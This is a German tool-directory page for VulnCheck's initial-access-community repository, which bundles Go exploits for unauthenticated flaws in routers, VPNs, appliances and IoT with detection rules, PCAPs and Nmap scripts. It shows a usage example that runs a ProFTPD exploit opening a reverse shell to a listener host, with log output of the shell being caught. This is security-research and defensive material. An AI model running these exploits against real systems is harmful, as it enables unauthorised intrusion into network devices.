Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
initial-access-community — Go-basierte Exploits für nicht authentifizierte Netzwerkschwachstellen in Routern, VPNs, Appliances und IoT, gebündelt mit PCAPs, Suricata-/Snort-/YARA-/Sigma-Regeln und Nmap-Skripten. | Kitploit
Tools/GitHubGitHub/vulncheck-oss/initial-access-community
Embedded-System-SicherheitAufklärungExploit-FrameworksIoT-SicherheitSchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstestsKuratierte Ressourcen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Payload-Entwicklung
GitHubvulncheck-oss/initial-access-community

initial-access-community

Go-basierte Exploits für nicht authentifizierte Netzwerkschwachstellen in Routern, VPNs, Appliances und IoT, gebündelt mit PCAPs, Suricata-/Snort-/YARA-/Sigma-Regeln und Nmap-Skripten.

Repository anzeigenWebseite
21328vor 1 TagVon Kitploit geprüft

Initial Access Community

Das Repository „Initial Access Community“ von VulnCheck enthält Exploits und zugehörige Artefakte aus unserem proprietären Produkt Initial Access Intelligence sowie Beiträge aus der Community. Der typische Fokus von Initial Access liegt auf netzwerkbasierten Schwachstellen, die keine Benutzerinteraktion erfordern, mit einer starken Präferenz für nicht authentifizierte Schwachstellen. Typische Ziele sind Router, VPNs, selbst gehostete Dienste (MobileIron, GitLab, Confluence usw.), Netzwerk-Appliances, B2B-Anwendungen und IoT-Geräte.

Die Exploits sind in Go unter Verwendung von VulnChecks go-exploit-Framework geschrieben. Wo möglich enthalten die Exploits einen Ziel-Verifier und einen Versionsscanner. Bei Initial Access geht es jedoch nicht nur um Exploits. Auch Discovery und Detection sind uns wichtig. Neben den Exploits stellen wir, wo möglich, Folgendes bereit:

  • PCAPs
  • Suricata-Regeln
  • Snort-2.9-Regeln
  • YARA-Regeln
  • Nmap-Skripte
  • Sigma-Regeln
  • Verwundbare Docker-Compose-Umgebungen
  • Target-Intelligence-Abfragen für Censys, Censys Legacy, Shodan, FOFA, ZoomEye, Google und Baidu.

Exploits

Exploit-Design

Für das Exploit-Design folgen wir denselben Richtlinien wie go-exploit. Siehe die Paketübersicht von go-exploit.

Verwendung der Exploits

$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)

Repository-Struktur

  • feed/ – Exploits und schwachtstellenspezifische Artefakte
  • verification/ – Gemeinsam genutzter Code zur Zielverifikation
  • shells/ – Gemeinsam genutzter Shell- und Payload-Code
  • examples/ – Vorlagen zum Erstellen neuer Exploits
  • tools/ – Projekt-Tooling und Hilfsprogramme
Tool herunterladen